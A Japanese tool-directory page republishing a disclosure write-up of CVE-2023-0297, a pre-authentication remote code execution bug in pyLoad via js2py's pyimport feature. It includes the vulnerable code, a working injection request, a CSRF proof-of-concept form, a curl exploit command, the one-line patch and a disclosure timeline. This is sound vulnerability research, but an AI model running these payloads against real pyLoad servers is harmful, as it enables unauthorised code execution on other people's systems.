Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/bauh0lz/cve-2023-0297_pre-auth_rce_in_pyload
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubbauh0lz/cve-2023-0297_pre-auth_rce_in_pyload

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: pyLoadにおけるPre-auth RCE発見のストーリー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
28103年前Kitploit レビュー済み

CVE-2023-0297: pyLoadにおける事前認証RCE

pyLoadにおける事前認証RCE発見のストーリー

TL;DR

pyLoad 0.5.0b3.dev31より前のバージョンにおけるコードインジェクションの脆弱性により、js2pyの機能を悪用して事前認証RCEが可能になります。

レポートはこちら、エクスプロイトコードはこちらで見つけられます。

詳細

pyLoadはPythonで書かれたOSSのダウンロードマネージャで、Webインターフェースを介して管理できます。そのGitHubリポジトリは2023年1月9日時点で約2.8kのスターを獲得しています。

pyLoadのソースコードを監査中、以下のコードが目に留まりました:

cnl_blueprint.py#L124

root@kitploit:~
    jk = eval_js(f"{jk} f()")

eval_js関数の定義は以下の通りです:

misc.py#L25-L27

root@kitploit:~
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()")はjs2pyの機能を利用しており、JavaScriptコードf"{jk} f()"を実行します。ここでjkパラメータはリクエストパラメータによって渡されます:

cnl_blueprint.py#L120

root@kitploit:~
    jk = flask.request.form["jk"]

したがって、エンドポイントにリクエストすることで任意のJavaScriptコードを実行できます。

しかし、どのように悪用するのでしょうか?js2py.eval_js()のコンテキストでは、XMLHttpRequest、fetch、require(Node.jsのような)が定義されていないため、SSRFやローカルファイルの読み取りはできません。

しばらく時間をかけて、js2pyの興味深い機能を見つけました:

pyimport statement

root@kitploit:~
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined

pyimport文を使用すると、JavaScript内からPythonモジュールをインポートできます。この機能を利用することで、js2py.eval_js()のコンテキストでPythonライブラリを使用できます!驚くべきことに、pyimportはデフォルトで有効になっています。:o

pyimportを使ってOSコマンドを実行する簡単なコードを試しました:

root@kitploit:~
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd

予想通り、touch /tmp/pwndが実行されました!

以下のリクエストを送信することで、ターゲットホストでも同じことが発生します:

root@kitploit:~
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa

jkパラメータ内の;f=function%20f2(){};の部分は、このエンドポイントがeval_js(f"{jk} f()")を実行するため必要です。これがないと、name 'f' is not definedエラーが発生して注入コードが実行されません。

このリクエストにはCookieやCSRFトークンが含まれていないことに注意してください。つまり:

  • ターゲットホストにアクセスできる認証されていない攻撃者はRCEを実行できます。
  • 攻撃者がターゲットホストにアクセスできなくても、CSRF攻撃によってターゲットホストにアクセスできる被害者をだましてRCEを実行させることができます:
root@kitploit:~
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

エクスプロイトコード

root@kitploit:~
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'

パッチ

pyimport機能を無効にするだけです。

misc.py

root@kitploit:~
 import js2py
 
+js2py.disable_pyimport()

タイムライン

  • 2023-01-02: huntr.devに報告
  • 2023-01-04: 脆弱性が確認される
  • 2023-01-04: 脆弱性が修正され、レポートが公開される
  • 2023-01-14: CVE IDが割り当てられる

迅速な対応をいただいたhunr.devチームとpyLoadメンテナに感謝します!

ツールをダウンロード